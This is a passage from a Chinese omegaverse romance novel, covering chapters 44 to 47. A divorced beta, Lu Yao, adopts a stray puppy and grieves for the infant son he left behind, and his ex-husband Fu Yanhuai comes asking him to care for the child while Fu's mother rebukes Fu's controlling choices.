鹿遥无意识地打开软件新闻界面——傅氏集团有什么动向都会有报导,比如年年的百日宴会鹿遥就是在手机上看到的。 但除了那一次,鹿遥就没有再看到过有关的娱乐新闻,尽管如此,他依旧养成了这个寻找相关信息的习惯。 这三个月唯一算是好事的事情就是腺体彻底坏了,鹿遥没有再在这方面支出哪怕一分钱的账单,他也没有去过医院检查,鹿遥觉得没有这个必要。 回归成为beta,整个世界都变得很安静。 泡面泡好了,鹿遥打开吃得很慢,从生过年年之后他的胃口就变得很弱,姚骏每次看见鹿遥都觉得他实在太瘦了。 今天的泡面也没能吃完,鹿遥只吃了一半,他随手把剩下的泡面放在一旁。午休时间有一个半小时,鹿遥不着急回去。 他打开购物软件继续对比几款修复疤痕的药膏,鹿遥迟疑地又仔细看了看,“这个看起来好像好一些。” 剖腹产的疤痕还是有点痒,而且不知道是不是要换季的原因,那道疤最近开始泛红。 鹿遥看了两眼价格,下不定决心买,他有点心疼地小声自言自语,“好贵。” 鹿遥果断换了另一款购买,他十分专心地看着手机,没有注意剩下的半碗泡面吸引了一位新奇的蛋糕店顾客。 一只白色毛绒绒的小奶狗闻着红烧牛肉的味道磕磕绊绊走过来,它在距离鹿遥几步远的地方停下,左歪头又右歪头地看鹿遥。 鹿遥没有注意到它,它实在太小了。 小狗就用嘴努力去拱泡面盒子,但是台阶比它高它碰不到,小狗的尾巴摇得像拨浪鼓,哼哼唧唧地把泡面越推越远。 鹿遥听见动静低头,然后他惊讶地睁大眼睛和小狗湿漉漉漆黑的眼睛四目相对。 小狗先有点害怕地后腿两步,但还是抵不过泡面的香气,它摇晃尾巴怯怯往鹿遥脚边走了两步。 “好可爱啊。” 小狗的耳朵脑袋鼻子整个身体都是圆圆的,毛毛白白软软的很蓬松,鹿遥犹豫地伸手,想摸摸它的脑袋。 小狗仰起头,嗅了嗅鹿遥的手心,然后用头顶的毛毛去拱鹿遥的手。 小狗热乎乎的,鹿遥撸了两下小狗头之后狗狗露出一个非常灿烂的笑脸。 鹿遥短暂地忘记一切,他把小狗抱到自己腿上,“你从哪里来的,你妈妈呢?” 他抱着小狗站起身,街上还是空荡荡的,一个人都没有,也没有大狗。 小狗乖乖缩在鹿遥臂弯里,两只眼睛像黑豆豆,探出来一点看着外面。 “你这么小,是从哪里跑来的。”鹿遥转悠了两圈,还是没能发觉小狗是从哪来的。 他抱着狗又走到隔壁的小超市,老板娘正吹着电风扇看电视。 “您刚刚有看到有人从这边经过吗?” 老板娘显然是认得鹿遥的,她看见鹿遥怀里的小狗愣了一下,“没有啊,这大中午的,哪能有人来呢。这小狗还挺可爱,嘬嘬嘬。” 小狗怂怂嗷了一声,把嘴筒子插进鹿遥手臂的缝隙里,不动了。 鹿遥为难道,“我也不知道,突然就出现了,我还想这是不是有谁养的。” “那不可能。”老板娘嗨了一声,“这一片都没有下了小狗崽的,可能是哪跑来的流浪狗。” 鹿遥低下头,小狗偷偷摸摸也看他,小尾巴摇啊摇。 老板娘噗嗤一声笑出来,“既然喜欢就养着玩,这么小的狗,如果是不小心跑丢的,主人早就跑出来找了。” 鹿遥心软软的,它这么小,还是个小宝宝,一定很害怕吧。 于是今天鹿遥多了一笔额外的支出,一根给小狗的火腿肠。 鹿遥租的房子离蛋糕店不是很远,他把小狗带回家后找出一个纸箱,小狗扒着纸箱的边缘站起来对着门口的鹿遥呜呜咽咽。 鹿遥又走回来拍拍它的头,“晚上下班我就回来,你自己在家要乖乖的哦。” 京城傅家祖宅,文筝抱着年年坐在沙发上,年年睡着了。 文筝看起来有几分憔悴,像是没睡好的样子。 “许医生怎么说?” 傅际中摇摇头,他叹了口气,“人工安抚剂不是信息素,只能短暂骗过年年,他还是会察觉到不对。” 年年在监护室里住了将近一个月,按理来说,s级的后代等级怎么也不会太低,可年年的发育速度却比正常的水平值还要慢。 文筝不放心傅晏淮自己照顾孩子,而且傅晏淮现在自己尚且自顾不暇,她就直接把孩子接到自己身边。 可年年每次入睡都极其困难,需要人哄到精疲力尽,他哭都哭不出来才能勉强入睡。 许医生说,这是因为人工安抚剂作用有限,在出生后第一个月是最需要生父信息素的时候,在这一期间年年过多地接受了人工代偿信息素,这造成了年年的混乱和缺乏安全感。 文筝无可奈何地低头看着年年,他皱着小眉头,手里紧紧抓着一个白色的小鹿玩具。 “这个玩具小鹿很喜欢。”文筝低声道,“他经常拿出来玩,大概沾上了信息素的味道。” 傅际中有些头疼,“可是这都过去快四个月,味道早都没有了。” 是的,四个月的时间信息素肯定已经消散了,可是年年还是执着地一直一直抓着这个玩具,只能趁他不注意的时候拿走清洗。 文筝蹙眉抬起头,“傅晏淮呢,住到公司里去了?” 傅际中心疼孩子,他忙着看年年,心不在焉道,“谁知道,估计是吧。” 文筝气不打一处来,“怎么了,傅家要过不下去了?他真和公司过日子去了?” 傅际中忍不住道,“不如直接让鹿遥回来,反正都已经找到他了。你也看到了,他每天生活轨迹都还算正常,他也想孩子。” 文筝心烦意乱道,“傅晏淮把人给赶走,我到了二话不说让他回来,这成什么了?咱们理亏,你要让人回来,总得问问他愿不愿意,如果他不愿意呢?” 说到底,文筝当然还是希望鹿遥回到京城,可是世上哪有这么好的事,如果鹿遥当初愿意留下,那他何必刚生下孩子三天就走了。 傅际中也沉默下来,文筝下定决心道,“你让傅晏淮回来一趟。” 傅际中随口问道,“什么时候?” 文筝冷笑一声,“现在。他给鹿遥挑了工作挑了房子,又拜托人照顾着,我不信他放心得下鹿遥自己一个人。” 文筝先傅晏淮一步找到了鹿遥,她没有避开傅晏淮,当着他的面要给鹿遥安排在那边好好住下。 是傅晏淮拦住她,主动开口,他想做这些。 文筝又匪夷所思道,“他到底在想什么,他到底想干什么?” 傅际中想也没想道,“这我可不知道。” 年年忽然挣动了一下,文筝赶忙拍着他哄,但年年还是醒了。 这个年纪的小婴儿睡觉应该很沉,但年年却特别容易被惊醒。 年年醒来紧紧揪着小鹿的鹿角,精疲力尽地小声哭。 文筝心疼得不行,“孩子这样怎么能行呢,哭都没有力气。” 文筝十分愧疚,鹿遥千辛万苦把这个孩子生下来,可现在却养成这样。 “来来来,换我抱抱。” 傅际中比文筝还不会哄孩子,但现在也急得自己上手了。 年年哭得一抽一抽,眼泪淌得满脸都是。 文筝当即道,“把傅晏淮叫回来,让他看看,因为他,小鹿和孩子都成什么样子了。” 第45章 第 45 章 虐妻一时爽,追妻火葬场…… 蛋糕店果然提早关门, 鹿遥在回家前特意找到了一家宠物店,在里面买了笼子狗粮等一系列宠物用品。 这些东西杂七杂八加在一起也很沉,鹿遥多花了几块钱骑单车, 好在住的地方在一楼,鹿遥成功一个人给小狗购置了新家具。 鹿遥把小狗抱出来, 新的笼子铺了软软的垫子,鹿遥还按照宠物店老板的交代留出了上厕所的位置。 “要用羊奶泡, 现在应该是软的了吧。” 鹿遥迟疑地戳了戳, 小狗欢快地满屋子跑来跑去, 最后在鹿遥脚边一趴摇尾巴。 鹿遥笑着看它, “饿了是不是, 来吃饭吧。” 小狗吭哧吭哧吃得很香, 鹿遥摸了两把它软软的毛,小狗热乎乎的,“好像一坨奶油。” 鹿遥再次认同自己的话, “你就叫奶油。” 奶油还不知道自己已经有了名字, 它吃完了饭还珍惜地把狗盆舔了一遍, 最后咣当坐好歪头看着鹿遥。 鹿遥把奶油抱到怀里,养一只小狗对他来说应该是一件合适的事。 可爱的小动物能让他短暂忘却生活的难过,它的舔舐或许也能治愈他的伤痛。 鹿遥的手偏凉, 小狗嗅着这股凉凉的味道追逐他的手掌玩。 “我没有家, 你也没有。”鹿遥点了点奶油的小脑袋,“现在这里就是我们的家啦。” 鹿遥算了一下自己的存款,他更加迫切想要开一家自己的甜品店,最好还能拥有一间自己的小小屋子,能容纳他和奶油就可以。 鹿遥对着漆黑的小狗眼承诺道,“我一定会保护好你的。” 他没有保护好年年, 都是他的错,这次他一定不会让小狗也受到伤害了。 他会和奶油一起过上普通又幸福的生活。 奶油来到新家的第一天适应良好,在空荡的屋子里适应不好的另有其人。 这四个月傅晏淮都很少回家。 最开始是年年一直住院,没有了鹿遥,年年对信息素的需求更加挑剔。他在鹿遥肚子里的时候,焦糖和白冷杉信息素一直平衡又源源不断地供给,这样的环境本该一直提供到年年能独立自然面对这个世界,但这个美好的乌托邦却在出生那一刻就骤然失去了。 傅晏淮每天都会在医院度过漫长的时间,他看不太出来孩子像谁,早产的孩子太小了,眼睛睁开的时间也很短。 那一个月傅晏淮的颈侧每天都贴着促进伤口恢复的用药型号腺体贴,alpha提取腺体/液要比omega更费力些,粗长的针管需要穿透脖颈的筋肉刺入腺体,颈侧大片消不掉的淤青看着很吓人。 但年年需要的还是鹿遥。 别墅内很安静,一盏灯都没有开。以前鹿遥在的时候也很安静,但和现在是不一样的。 傅晏淮停在门口,没有再往里走。 他不得不承认,鹿遥在和不在带来的分别,并不像他所想象的那么轻描淡写。 管家不知道从哪里走出来,他默默把灯打开。 那天送鹿遥到医院,管家给文筝留言过后还要忙着安排人把产后需要的东西购置齐全,律师说他是代傅总前来的人,管家就放心地让他在手术室外等着。 管家对傅晏淮这个举动非常不理解且不赞同,他幽幽道,“傅总,您回来了。” 傅晏淮淡淡嗯了声,抬脚重新迈进屋子。 管家赶在傅晏淮上楼之前开口问道,“您明早在家里用早饭吗?如果您在家里吃的话,我叫后厨准备出明早的食材。” 傅晏淮停顿良久,以前管家是不会问傅晏淮这种问题的,厨房会按照营养师的建议准备一日三餐。傅晏淮对吃的东西没什么太大所谓,除非鹿遥嘴馋格外想吃什么,他会在餐桌上高高兴兴和傅晏淮分享自己额外争取来的“不健康食品”。 更早的话,就是鹿遥为了讨好他亲自下厨,还有一些他自己做的甜品。 傅晏淮想起鹿遥的时刻越来越多。 他侧过头,一楼的左侧的沙发是鹿遥常坐的位置,每次傅晏淮夜晚回到家,鹿遥都缩在那个沙发里面,像个毛绒绒的小动物,等着他回来。 傅晏淮会抱抱他,再俯下身与他拥吻。 “不用了。”傅晏淮听见自己这样说,“明早我还有事。” 傅晏淮继续上楼,他已经想不起来没有鹿遥的时候自己过的是什么样的生活。也是这样从公司回来,然后不痛不痒地和管家说上两句话吗? 傅晏淮不记得了。 两人在傅家老宅住的那段时间,傅晏淮注意到了鹿遥喜欢红玫瑰。傅晏淮没有想过鹿遥会喜欢那样热烈浓艳的颜色,但家里的鲜花从此都换成了红玫瑰。 深蓝色的绸缎铺在下面,浓烈颜色的对比给视觉带来极大冲击。 鹿遥离开的第四个月,傅晏淮无数次想起他。 生活平静地向前行进,鹿遥很快就适应了一人一狗的生活,奶油是一只很乖又很活泼的小狗,听着它每天在家里乱跑哒哒哒的脚步声,鹿遥的心情逐渐好转。 鹿遥上午工作的时候会把阳台小门打开,一楼连着一块小小的花园,奶油可以到院子里跑一跑,活动范围会更大一点。 这家店不大,通常都是一个人在前面收银,另一个人在后厨做甜品。收银的工作通常都轮不到鹿遥来做,但今天店内碱水面包消耗的速度有点快,姚骏一时腾不开手。 姚骏急三火四地道,“小鹿,你先去帮我收一下钱吧。” 鹿遥擦擦手连忙从后厨走出来,但他站到收银台后却愣住了。 是一个年轻的妈妈来结账,她的孩子躺在婴儿车里,手里抓着一小块饼干啊呜啃了一口。 小婴儿还没有长牙,肯定是咬不动的。那块小饼干被口水糊得乱七八糟,他的妈妈弯下腰宠溺捏了一下婴儿的小脸蛋,“又弄脏脏啦?” 时间仿佛在那一刻冻结,鹿遥看着眼前这一幕控制不住地回想起自己的孩子。 八个月的时间,鹿遥不遗余力地倾注了自己所有的爱,他满心期待欢喜等着自己孩子的降生,可是,可是。 小婴儿哼哼着攥紧饼干,他的目光无意间扫到鹿遥,他好奇地一直盯着鹿遥看。 他的妈妈歉疚道,“不好意思,您等了很久了吗?” 鹿遥眨了眨眼,他低下头匆匆站到收银台后面,极力掩饰自己异样的神态。 他把那罐饼干扫码装进袋子,鹿遥垂着眼低声道,“扫这里就好。” 他看着这位年轻的妈妈付款,酸涩与冲动交织,鹿遥忍不住哑着嗓子开口问道,“您的宝宝…很可爱。” 她在对面愣了一下,不过很快笑着道,“谢谢。瑞瑞,和大哥哥挥手说再见。” 婴儿胡乱挥舞了两下手臂,鹿遥僵硬在原地停留许久。 “年年,年年应该也是这么可爱的。” 如果像他的话,那年年应该会有一双大眼睛。 如果是像傅晏淮… 鹿遥怕眼泪打湿口罩让姚骏看出异样,他强迫自己停止思念,转身回到后厨。 姚骏刚开始还没有注意到鹿遥的不对,他把碱水面包挨个装进包装袋,鹿遥沉默地站到旁边帮他打包。 姚骏随口问道,“刚刚的顾客买了什么,我看她还挺着急的。” 鹿遥的声音和以往相比没什么不同,“小孩子不懂事,大概拿了一罐饼干玩,她买了那罐饼干付款。” 姚骏当即心中大感不妙,他小心翼翼道,“几岁的小孩子是喜欢乱跑。” 鹿遥装好最后的面包拿出去,“不是,还不会说话呢。我去摆面包。” 姚骏懊悔地捶胸顿足,他这个店原本没打算要招人,生意不好不坏,他打算兑出去道其他城市发展的。 结果有一天,一个看起来身份很不一般的人给了他一笔钱,还附赠了一份雇佣合同。 没过多久,就真的有一个人来他这里应聘,那个人就是鹿遥。 经过了这么几个月,姚骏模模糊糊地知道了鹿遥是生过孩子后来到这里独自生活。鹿遥这个人性格也很不错,工作起来很认真,姚骏一直避免让鹿遥太辛苦。 结果今天真是没想到,姚骏左右为难,不知道该不该把今天的事告诉那位大老板。 鹿遥照常下班回到家,奶油早早就听到了鹿遥的脚步声,飞扑出来围着鹿遥扑腾。 鹿遥露出个笑脸,“在家等了很久了吗?” 奶油发出小狗撒娇特有的哼哼唧唧声音,鹿遥蹲下身,紧紧地把奶油抱在怀里。 鹿遥的声音听起来闷闷的,“奶油,你会想你的妈妈吗。” “我今天看到了一个小宝宝,他好可爱,可是。” 奶油身上的毛毛打湿了一块,鹿遥的声音很小,“可是我也是有一个宝宝的,虽然我不知道他长什么样子,不过他应该也是这么可爱。” 奶油不知道主人怎么了,它嗅出鹿遥悲伤的情绪,急得用自己的身体拱来拱去给鹿遥擦眼泪。 “我好想他。”鹿遥哽咽出声,“我好想见见我的孩子。” 年年只是一个小名,鹿遥甚至不知道年年现在是否还在用这个名字。 鹿遥当然也幻想过把年年抱在怀里的样子,想过哄他、亲亲他的小脸。 但这些鹿遥都做不到了,他抱紧自己唯一能抱紧的小狗,跪坐在地上,在门口的小角落痛苦闭上眼。 第二天是休息日,鹿遥理所当然地起晚了。 小狗经历过昨晚鹿遥的情绪崩溃,今天显得很警惕,鹿遥刚刚动一下它就哒哒哒跑到床边盯着鹿遥看。 鹿遥的眼睛有些红肿,他伸手摸摸小狗头,“早啊,奶油,你饿了吗?” 奶油站起来,两个爪爪搭到床边,仔细地看鹿遥。 原则上来说,小狗是不可以上床的。但是被这样盯着看,鹿遥很难做到视而不见。 他把奶油抱到床上,奶油转了一圈在鹿遥怀里躺倒。 今天阴天,屋子里阴沉沉的,鹿遥还不想起来。 鹿遥漫无边际地和奶油说话,“给你买的骨头磨牙棒今天应该可以到了,是牛骨,不知道会不会太大了啃不动。” 鹿遥想喝杯豆浆,早上其他的就不想吃了。 鹿遥又做了一会心里建设,他下床拉开窗帘,天上黑云把天空遮得严严实实。 鹿遥担忧道,“看起来要下好的雨。” 要赶快把奶油带出去遛遛才行。 鹿遥开始换衣服把奶油牵好,他边系扣子边匆匆忙忙找袋子,奶油情绪高昂得一直乱跑,此时门铃却还响了。 是奶油的磨牙棒到了。 鹿遥赶忙过去开门,他随意开口道,“您好,放在这里就行…” 风吹到门上,门把手咣当一声磕到墙。 鹿遥浑身僵硬地看着眼前的人,忘记了要关门。 “鹿遥。” 傅晏淮慢慢走上前一步,“你瘦了很多。” 第46章 第 46 章 见面 鹿遥最先感受到的就是冷, 刺骨寒意席卷全身。他静默、良久地盯着面前这个熟悉又陌生的人,随后抖着手越过傅晏淮去抓门把手,直接把门关上。 傅晏淮挡住门, 他微微加重语气,“鹿遥!” 鹿遥猛地抬起头, 傅晏淮清晰从他眼中看到了抗拒和厌恶。 傅晏淮错愕看着他,手上的力量松开了。 鹿遥什么都没有说, 他不知道该说什么, 看见这个人只会让他想起不愿意想起的所有。 鹿遥直接伸手去关门, 傅晏淮硬生生用手背拦了一下, 门锁重重碾过他的手背。 但傅晏淮没有拿开, 他隐忍道, “我想,我有必要和你解释一下那份合同。” 鹿遥干脆松开手,他直直看向傅晏淮, 他毫不掩藏自己的恨意, “傅先生, 我想,这没有什么必要。” 鹿遥心底有钝痛渐渐蔓延,这是他第一次如此大胆地抬起头, 细致又仔细地看着傅晏淮的脸, 不错过他的每一丝神态变化。 “我们的协议婚姻不过只是你情我愿的交易,现在交易结束,您自然不必向我解释什么。” 鹿遥的态度和傅晏淮来之前所设想的天差地别,巨大的落差让他产生无法消化的倒错感,他喉结上下滚动,“我没有想过, 你会直接离开。” 傅晏淮的手垂下,手背上的红痕显眼,如果是以前,鹿遥看到一定会心疼。 但现在鹿遥和傅晏淮之间隔的不仅仅是一份离婚协议,他对傅晏淮反问道,“那你觉得我应该怎么样?在医院里继续一无所知地躺下去,等着你抱走孩子去重新和一个门当户对的omega结婚?” 现在门敞开着,但傅晏淮却想不起自己一步就可以走进去。他预想过鹿遥会难过、甚至会崩溃,但他没有想过鹿遥会如此尖锐,看见他恨不得把自己全身上下都武装起来,好像他不再是鹿遥的爱人。 傅晏淮从没有体会过这样不受控的感觉,从出生到现在,所有事情都能在他的掌控下顺利完成,傅氏集团是如此,他的人生也是如此。 “我知道你在怪我。”傅晏淮试图解释,“但我保证,尽管我们已经离婚,但生活绝不会有太大改变。” “你也说了,我们已经离婚了!”鹿遥情绪激动,他死死按住一旁的柜子,不顾一阵一阵的眩晕对傅晏淮低吼,“我们已经没有关系了!我不想看见你!” 鹿遥面色发白,奶油急得在鹿遥脚边转来转去,傅晏淮察觉到不对扶住鹿遥的手腕,“你怎么了?” 奶油汪呜一声一口咬住傅晏淮的裤脚,不让他碰鹿遥。 鹿遥怕傅晏淮伤害到奶油,他用尽全力甩开傅晏淮,蹲下身把奶油抱起来,“别碰我。” 傅晏淮的手就这样僵在半空。 鹿遥的呼吸微微急促,他的眼前开始发黑,鹿遥低着头冷声道,“请你离开吧。” 奶油一直哼哼唧唧地用鼻子在鹿遥脸上嗅来嗅去,傅晏淮半跪下来想要搂住鹿遥,“我先扶你进去…” “我说不要碰我!” 鹿遥的眼圈通红,“我再也不想看到你。” 鹿遥靠着自己勉强颤颤巍巍地站起来,他像一只满身敌意和警惕的小动物,想要把任何一个外来的不安定因素拒之门外。 傅晏淮在此刻终于缓慢意识到自己内心一直坚信的某些东西在缓慢崩塌,在门关上的前一秒,傅晏淮闭了下眼。 “是年年。” 门咔嗒一声轻轻锁上,鹿遥用手掌撑住门,听清傅晏淮话的那一刻鹿遥瞳孔微微放大。 年年的发育情况不是很好,昨天助理接到了姚骏的电话,傅晏淮清晰记得当时助理脸上的为难。 鹿遥想冲出去质问傅晏淮怎么能卑劣到如此地步,他怎么能拿孩子来这样逼迫他。 鹿遥不想打开这扇门,可他的孩子在门的外面。 鹿遥随手抓起柜子上拆开还未使用的快递,在推开门的一瞬间狠狠朝着傅晏淮的脸扔了过去。 傅晏淮一动不动站在那里,没有躲开。包装袋把他的侧脸划开一道浅浅的伤口,傅晏淮沉默地弯下腰捡起那个东西。 是还没有使用的一管祛疤药膏。 “我恨你。”鹿遥喃喃道,“你让我觉得恶心。” 傅晏淮的心脏倏然抽痛,他慢慢直起腰,把药膏还给鹿遥。 鹿遥恨傅晏淮让自己如此狼狈,恨他高高在上地施舍给自己无关紧要的甜头又随手把自己丢到一边,恨他的欺骗和薄情。 他更恨自己的束手无策,无论什么时候都要退无可退地选择妥协。 鹿遥厌恶扭过头,傅晏淮垂眼把那个祛疤膏放到一旁。 现在还需要祛疤膏涂抹的伤口,傅晏淮知道,那只会是剖腹产的疤。 傅晏淮终于隐隐意识到了自己的荒谬,他花了四个月的时间确认自己离不开鹿遥,但显然为时已晚。 “年年怎么了。”鹿遥紧紧抱着奶油,像落水的人抱紧唯一一根救命稻草。 他的嗓音有些嘶哑,“出生的时候,他没有哭。” 刺痛转瞬即逝,慢腾腾却清晰的闷痛才会长久地持续。鹿遥没有哭,但傅晏淮却下意识想要为他擦眼泪,“他…” 鹿遥后退一大步,奶油趴在鹿遥怀里冲傅晏淮汪了一声。 傅晏淮没有进门,他站在门外往里看鹿遥,不受控地把鹿遥和从前的样子对比。 原来他把鹿遥的样子记得那么清晰,傅晏淮恍惚想起几个月之前,鹿遥一看到他就会眼睛弯弯地笑。 回忆和现实撕裂,傅晏淮吐出口气,“年年是早产儿,他的发育状况没有同月龄的其他孩子好,达不到标准。” 鹿遥的心瞬间提起,他顾不得其他焦急询问,“什么叫达不到标准?那年年健康吗?他有没有生病?” “他…没有生病。” 傅晏淮看着鹿遥,他到底还是犹豫了,没有把年年真实的情况说出来。 “只是发育不好,过两个月就会赶上来。” 鹿遥却警惕道,“我不信。既然年年很好,那你今天为什么来找我?刚刚你提到年年,是想说什么?” 在有关孩子的事情上,鹿遥格外不好骗。 或许只是因为从前被骗太多,不敢再相信任何一句平白无故说出的话。 傅晏淮竟然也会有开不了口说话的一天,他只能艰涩道,“年年很想你。” 四个月大的婴儿会懂得想念吗?鹿遥判断这句是谎言,但他还是深切地被触动。 鹿遥平复了一下呼吸,“你到底想干什么。” 傅晏淮今天本来是想看一下鹿遥的态度,在他看来,鹿遥已经离开足够长的时间。这四个月彼此也都已经冷静,傅晏淮本以为他可以和鹿遥平静地谈论这件不好开口的事。 但真正见到鹿遥这一刻,傅晏淮才明白,他有些太想当然了。 于是傅晏淮临时做出了一个决定,他尽量用平缓的语气稳定鹿遥的情绪,“我想,让你来带一段时间年年。” 傅晏淮以为这样鹿遥就会高兴,至少可以不对他如此戒备,但鹿遥却满眼屈辱地瞪着他。 “因为年年是我的孩子,所以在你看来,你可以像对待我一样对待他,是吗?” 鹿遥不知道是愤怒更多还是难过更多,他怀里的奶油都在跟着抖。 “傅晏淮,我自问对这段婚姻已经倾尽了全力。”鹿遥哽咽道,“我知道,知道你不喜欢我,但是这个孩子不是你想要的吗?你是他的父亲,你至少应该好好对待他。” 做傅氏集团的继承人,和做鹿遥的孩子,身份的差距必然会让年年的人生有天翻地覆的差别。 而且鹿遥也很清楚,傅家如果想要年年,他是没有丝毫办法的。 鹿遥在这四个月的时间里无数次劝自己不要回想,只要年年过得好就可以了,傅家会珍惜爱护自己家族的血脉。 但是今天,鹿遥发觉傅晏淮没有他想象中的那么在意年年。 鹿遥不能接受,也不能理解,傅晏淮震惊于鹿遥难以控制流露出的痛苦。 “你有在真正好好地养年年吗?”鹿遥愈发失望,“他一直在哪里长大?是谁在带他?为什么你能这样轻飘飘的…” 这样随便地决定孩子的去处,这里养两个月那里养两个月,难道傅晏淮不爱这个孩子吗? 傅晏淮哑口无言,除了配合医院提供信息素,以及给年年优渥的生存资源,其他更多的问题,傅晏淮的确一个也没有考虑过。 傅晏淮挑着能回答的问题回答了鹿遥,“是妈妈在照顾年年。” 鹿遥已经觉得筋疲力尽,他自嘲一笑,“傅氏集团楼下的甜品店,每次有部门做成了项目都会从店里订购蛋糕,每一天也都有人订下午茶。” 这些都是鹿遥送到楼上的。 他心甘情愿地做这些工资份外的工作,因为傅晏淮就是头顶大厦的主人,仰起头看最高层,傅晏淮就在那里。 那场酒会结束回到家,鹿千星酸溜溜地对他讥讽,说他走了狗屎运,傅晏淮从来不对其他人展示亲近。 鹿遥在晚上偷偷搜索了傅晏淮的词条,老旧手机卡顿地转圈,傅晏淮的照片从上到下一点点地露出来。 他卑微又难以自抑地生出欢喜,他反复搜集傅晏淮不多的照片和大把优秀的履历。鹿遥在那一天记住傅晏淮的名字,并为此生出无限勇气。 后来鹿遥在鹿家听到傅晏淮有意和beta结婚的消息,他照常送了那天的下午茶,却没有离开,而是躲到楼梯间,就这样漫无目的地一层层往上爬。 鹿遥也不记得自己爬到第几层,他疲惫地直接在台阶上随意坐下,傅晏淮忽然推开安全通道的门走进。 那天他大概心情不好,整个人很罕见地戾气很重,鹿遥注意到他手上拿着烟。 不过傅晏淮到底还是没有拿出来,因为鹿遥仰起头问他,只是想和beta结婚的话,能不能考虑一下他。 鹿遥离开的时候带着后颈深深的牙印,和他自己闻不到的满身白冷杉味。他从楼梯爬上去,窝在傅晏淮怀里红着脸迷迷糊糊坐专属电梯离开。 但是鹿遥的心动已经消磨殆尽,傅晏淮听见这句话不由怔怔。 鹿遥累到张不开口,“就算没有感情,至少在这份协议里,我也没有做错过什么。” 他手脚冰凉地木然道,“就算我求你,能不能放过我。” 从前的所有鹿遥都不想再追究,或者说,都不想再提起。 究竟还要怎么伤害他,傅晏淮才能满意,鹿遥不知道自己为什么要遭受这样的对待。明明最开始,他想要的只有一点点爱。 但没等傅晏淮说些什么,鹿遥率先低声道,“算了。” 算了。 第47章 第 47 章 年年 那一天鹿遥在客厅抱着奶油坐了很久, 他不知道傅晏淮是在什么时间离开。 窗外下了很大的雨,一人一狗就这样互相依偎着,听雨点一直淅淅沥沥落下。 傅晏淮是在夜晚忽然来到傅家老宅, 年年这个时间刚刚喝过奶,文筝在一旁看着育婴师拿玩偶哄睡。 文筝轻手轻脚退出婴儿房, 站在二楼楼梯口随便往下看了一眼,随即惊愕停住脚。 “你怎么弄成这样?” 傅晏淮身上全湿了, 雨水滴滴嗒嗒滴落在地毯上。 文筝赶忙下楼, “怎么这个时候来了?” 傅晏淮在鹿遥门外站了很久才离开, 他漫无目的地逛着那座小城市。在蛋糕店的小巷和老旧小区里穿梭, 试图感受到鹿遥的每一天。 鹿遥离开他, 独自生活的每一天。傅晏淮在这四个月里时常在碎片化的空隙时间里想起他, 但他以为,鹿遥不会真正离开他的。 尽管女佣拿来了毛巾,傅晏淮身上一时半会也干不了, 雨水顺着他脸颊的骨骼下滑, 浸湿的头发黑且硬, 整张脸冷厉的线条全部显露出来。 他侧脸的红色伤口显眼,文筝长叹一口气。 她颇感头疼道,“年年好不容易哄睡, 你别把他给闹醒了。” 傅晏淮终于低声开口, “妈,我想…” 文筝耐心问道,“什么?” “我想把年年交给鹿遥一段时间。” 尽管鹿遥对这件事表露了很大的反感,但傅晏淮不知道此刻自己还能做些什么,鹿遥把他拒之门外的态度太过坚决,他不知道做些什么能缓解这种僵硬。 文筝好不容易唤醒的母爱立刻消失得无影无踪, “你想,什么事情都是你想。你想让鹿遥抚养年年,然后呢?” 傅晏淮神色露出了些许茫然,他停顿片刻道,“然后,鹿遥或许就会回来了。” 文筝大为震撼,“你到现在都认为鹿遥只是在和你生气吗?” 傅晏淮垂下眼道,“我不想当面由我送离婚协议给鹿遥,我想他大概会伤心,所以才请律师替我这样做。” 文筝耐着性子开口,“你也知道鹿遥会难过,所以逃避不敢面对他。那你为什么还非要和他离婚?你瞒着所有人这么做,真的是为了只要这个孩子?” 理论上来讲,傅晏淮患有信息素抵抗,他永远也无法和omega真正结合,也就无法拥有自己的孩子。但是意外出现了,鹿遥就是傅晏淮命中注定的天选之人,可傅晏淮只要了孩子,和鹿遥离婚了。 这出蹩脚的背信弃义戏码背后,文筝宁愿相信傅晏淮还有其他考量,她宁可傅晏淮是蠢得无可救药而不是人品低劣。 “在这个社会上,每个人都有自己明确的位置和分工。” 傅晏淮最终还是诚实道,“鹿遥只希望做一个甜品师,我觉得这样也很好,他不需要承担更多的责任和压力,他也不适合承担更多。我会给他提供一个绝对安全、温暖的生存环境,他什么也不需要考虑,只需要做他喜欢的事,和他亲近的人待在一起。” 文筝最先感到庆幸,傅晏淮并不是恶劣地做弃夫抢子的行径,但是她很快就感到万分荒谬。 “这是鹿遥的人生,你问过他的意见吗?就这样替他做决定?” 文筝不悦道,“行,就算你说的不错,现在如你所愿,你们离婚了。现在你要干什么?” 这个问题把傅晏淮问住了,他低声道,“我也不知道,我。” 他停顿过后才接着道,“我原本打算继续另一段协议婚姻,这对傅家的继承人来说是一件好事,有家室的omega会提供更多资源。而且联姻是最稳固也不费力气的方式…” 文筝听不下去了,“另一段?那鹿遥算什么?而且你怎么和联姻的对方交代,有家室的omega怎么可能心甘情愿替你养孩子?” “没有什么东西是钱买不来的,只要代价足够,一定会有人愿意。” 文筝斩钉截铁道,“你脑子有病。” 文筝很少和傅晏淮谈心,在傅晏淮很小很小的时候,文筝也曾经满心慈爱地做温柔的母亲。但很快傅晏淮就展现出了十分与众不同的性格,他好像天生就比其他人情感更淡漠,也更理智。 傅晏淮从小到大都非常优秀,从来没有让文筝操心过。傅晏淮对自己的人生有着清晰的规划,他的强势和主见让文筝没有插手的余地,而且她也不必要插手。 和beta协议结婚算是最离谱的一件事,不过如果到此为止倒也没什么不妥,文筝尚可以接受。但现在傅晏淮做的事情就很让文筝匪夷所思了。 “人类不是机器,你能明白吗?”文筝蹙眉道,“不是所有事情都可以像电脑程序一样按照既定轨迹往前走,而且,你打算让鹿遥怎么办。” 文筝忽然想到了什么,“你今天去见鹿遥了?” 傅晏淮低低应了一声,“嗯。” 文筝点点头,“现在你想把年年交给鹿遥,然后呢,你希望怎么样?” 傅晏淮迟疑道,“我希望…” 他希望鹿遥能回来,他想要重新回到以前那样的生活。 “如果鹿遥不能接受这样的安排,我们可以复婚。” 人在无语到极致的时候是真的会笑,文筝腾地一下站起来,又深吸一口气坐下。 “你没救了。年年交给鹿遥带我没有意见,年年原本也是他的孩子,你也没做过什么贡献。其他的事情,你自己去求鹿遥吧。” 这应该是傅晏淮人生中第一次感到挫败,在此之前,再棘手的公事他都可以迅速妥善地解决。傅晏淮也从未在人际相处上费心,他什么都不需要做,只安静坐在一边都会有无数人来讨好他。 他不知道自己是不是做错了,但他能看出来鹿遥的确非常难过。 傅晏淮走进婴儿房,年年睡得很安静。 鹿遥看见年年,应该会高兴一点的吧。 